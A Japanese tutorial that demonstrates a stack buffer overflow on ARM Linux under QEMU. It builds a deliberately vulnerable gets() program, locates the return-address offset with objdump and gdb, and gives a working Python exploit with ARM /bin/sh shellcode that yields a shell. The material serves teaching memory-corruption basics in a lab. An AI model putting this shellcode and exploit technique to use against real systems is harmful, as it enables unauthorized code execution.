ARMで単純なスタックバッファオーバーフロー攻撃をやってみる

「単純なスタックバッファオーバーフロー攻撃をやってみる」と同様に、Linux ARM(armel)環境でスタックバッファオーバーフローからのシェルコード実行をやってみる。

環境

Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)

# uname -a
Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux

# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:        14.04
Codename:       trusty

# gcc --version
gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2

脆弱性のあるプログラムを書いてみる

まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。

/* bof.c */
#include <stdio.h>

int main()
{
    char buf[100];
    setlinebuf(stdout);
    printf("%p\n", buf);  /* explicit leak */
    gets(buf);
    puts(buf);
    return 0;
}

ここでは、意図的にスタック上に配置されたバッファのアドレスを出力している。

DEPおよびSSPを無効にしてコンパイルし、実行してみる。 なお、QEMUによるエミュレーションのため、ASLRは常に無効となっている。

# gcc -fno-stack-protector -zexecstack bof.c
bof.c: In function 'main':
bof.c:8:5: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
     gets(buf);
     ^
/tmp/cc2pBhuy.o: In function `main':
bof.c:(.text+0x2a): warning: the `gets' function is dangerous and should not be used.

# ./a.out
0xf6fffcec
AAAA[ENTER]
AAAA

正常に実行できていることが確認できる。

生成された実行ファイルをディスアセンブルし、main関数に対応する部分を抜き出してみる。

# objdump -d a.out | awk '/<main>:/,/^$/'
000084b0 <main>:
    84b0:       b580            push    {r7, lr}
    84b2:       b09a            sub     sp, #104        ; 0x68
    84b4:       af00            add     r7, sp, #0
    84b6:       f241 0334       movw    r3, #4148       ; 0x1034
    84ba:       f2c0 0301       movt    r3, #1
    84be:       681b            ldr     r3, [r3, #0]
    84c0:       4618            mov     r0, r3
    84c2:       f7ff ef7c       blx     83bc <_init+0x5c>
    84c6:       1d3b            adds    r3, r7, #4
    84c8:       f248 5040       movw    r0, #34112      ; 0x8540
    84cc:       f2c0 0000       movt    r0, #0
    84d0:       4619            mov     r1, r3
    84d2:       f7ff ef56       blx     8380 <_init+0x20>
    84d6:       1d3b            adds    r3, r7, #4
    84d8:       4618            mov     r0, r3
    84da:       f7ff ef58       blx     838c <_init+0x2c>
    84de:       1d3b            adds    r3, r7, #4
    84e0:       4618            mov     r0, r3
    84e2:       f7ff ef5a       blx     8398 <_init+0x38>
    84e6:       2300            movs    r3, #0
    84e8:       4618            mov     r0, r3
    84ea:       3768            adds    r7, #104        ; 0x68
    84ec:       46bd            mov     sp, r7
    84ee:       bd80            pop     {r7, pc}

関数の先頭でlrレジスタがスタックにpushされ、末尾でpcレジスタにpopされていることがわかる。 また、バッファの先頭がr3 == r7 + 4、最後にpopされるpcレジスタr7 + 104 + 4 == r7 + 108のアドレスに配置されていることがわかる。 したがって、バッファの先頭から104バイト先にある4バイトを書き換えれば、pcを任意の値にできることが推測される。

デバッガでメモリの内容を確認してみる

デバッガを用いて、実際のメモリの内容を確認してみる。 qemu-gdbについては、「DockerでユーザモードQEMUによるARMエミュレーション環境を構築する」を参照。

まず、main関数の先頭と、末尾でスタックポインタが変更される直前にブレークポイントをセットする。

# echo AAAA | qemu-gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
Remote debugging using :1234
Reading symbols from /lib/ld-linux-armhf.so.3...Reading symbols from /usr/lib/debug//lib/arm-linux-gnueabihf/ld-2.19.so...done.
done.
Loaded symbols for /lib/ld-linux-armhf.so.3
0xf67debc0 in _start () from /lib/ld-linux-armhf.so.3
(gdb) disas main
Dump of assembler code for function main:
   0x000084b0 <+0>:     push    {r7, lr}
   0x000084b2 <+2>:     sub     sp, #104        ; 0x68
   0x000084b4 <+4>:     add     r7, sp, #0
   0x000084b6 <+6>:     movw    r3, #4148       ; 0x1034
   0x000084ba <+10>:    movt    r3, #1
   0x000084be <+14>:    ldr     r3, [r3, #0]
   0x000084c0 <+16>:    mov     r0, r3
   0x000084c2 <+18>:    blx     0x83bc <setlinebuf>
   0x000084c6 <+22>:    adds    r3, r7, #4
   0x000084c8 <+24>:    movw    r0, #34112      ; 0x8540
   0x000084cc <+28>:    movt    r0, #0
   0x000084d0 <+32>:    mov     r1, r3
   0x000084d2 <+34>:    blx     0x8380 <printf>
   0x000084d6 <+38>:    adds    r3, r7, #4
   0x000084d8 <+40>:    mov     r0, r3
   0x000084da <+42>:    blx     0x838c <gets>
   0x000084de <+46>:    adds    r3, r7, #4
   0x000084e0 <+48>:    mov     r0, r3
   0x000084e2 <+50>:    blx     0x8398 <puts>
   0x000084e6 <+54>:    movs    r3, #0
   0x000084e8 <+56>:    mov     r0, r3
   0x000084ea <+58>:    adds    r7, #104        ; 0x68
   0x000084ec <+60>:    mov     sp, r7
   0x000084ee <+62>:    pop     {r7, pc}
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x84be
(gdb) b *main+60
Breakpoint 2 at 0x84ec
(gdb) c
Continuing.

関数の先頭でlrレジスタ、すなわちリターンアドレスの値を確認する。 その後continueし、入力文字列、リターンアドレスのそれぞれが配置されているアドレスを確認する。

Breakpoint 1, 0x000084be in main ()
(gdb) i r lr
lr             0xf6708633       -160397773
(gdb) set $retaddr=$lr
(gdb) c
Continuing.
0xf6fffcdc
AAAA

Breakpoint 2, 0x000084ec in main ()
(gdb) x/40wx $sp
0xf6fffcd8:     0x00000000      0x41414141      0x00000000      0x00000000
0xf6fffce8:     0x00000000      0x00000000      0x00000000      0x00000000
0xf6fffcf8:     0x00000000      0xf67fdfc4      0x00000000      0x00000000
0xf6fffd08:     0x00000000      0x00000000      0x00000000      0x00000000
0xf6fffd18:     0xf66f4be8      0x000084f1      0x00008491      0x0000851f
0xf6fffd28:     0xf67d5bb8      0x000084f1      0x00000000      0xf67d4000
0xf6fffd38:     0x00000000      0x00000000      0x00000000      0xf6708633
0xf6fffd48:     0xf67d4000      0xf6fffe9c      0x00000001      0x000084b1
0xf6fffd58:     0x00000000      0x00000000      0x00000000      0x00000000
0xf6fffd68:     0xf67d4000      0x00000000      0x00000000      0x00000000
(gdb) find $sp, +200, 0x41414141
0xf6fffcdc
1 pattern found.
(gdb) set $buf=$_
(gdb) find $sp, +200, $retaddr
0xf6fffd44
1 pattern found.
(gdb) set $retptr=$_
(gdb) p $retptr-$buf
$1 = 104
(gdb) c
Continuing.
[Inferior 1 (Remote target) exited normally]
(gdb) quit

上の結果から、実際にバッファの先頭から104バイト先にリターンアドレスが配置されていることが確認できる。

エクスプロイトコードを書いてみる

Linux ARM用のシェルコードを使い、リターンアドレスをシェルコードが置かれたアドレスに書き換えるエクスプロイトコードを書いてみる。 ここで、バッファの先頭アドレスはプログラム中に仕込んでおいた出力から取得する。

# exploit.py
import struct
from subprocess import Popen, PIPE

shellcode = '\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68'
offset = 104

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

line = p.stdout.readline()
print "[>] %r" % line
addr_buf = int(line.rstrip(), 16)

buf = shellcode
buf += 'A' * (offset-len(buf))
buf += struct.pack('<I', addr_buf)
buf += '\n'
p.stdin.write(buf)
print "[<] %r" % buf

line = p.stdout.readline()
print "[>] %r" % line

p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()

実際に実行してみる。

# python exploit.py
[>] '0xf6fffcec\n'
[<] "\x01p\x8f\xe2\x17\xff/\xe1\x04\xa7\x03\xcfR@\x07\xb4hF\x05\xb4iF\x0b'\x01\xdf\x01\x01/bin//shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xec\xfc\xff\xf6\n"
[>] "\x01p\x8f\xe2\x17\xff/\xe1\x04\xa7\x03\xcfR@\x07\xb4hF\x05\xb4iF\x0b'\x01\xdf\x01\x01/bin//shAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xec\xfc\xff\xf6\n"
# id
uid=0(root) gid=0(root) groups=0(root)
#

リターンアドレスの書き換えにより、シェルコード経由でシェルが起動できていることが確認できた。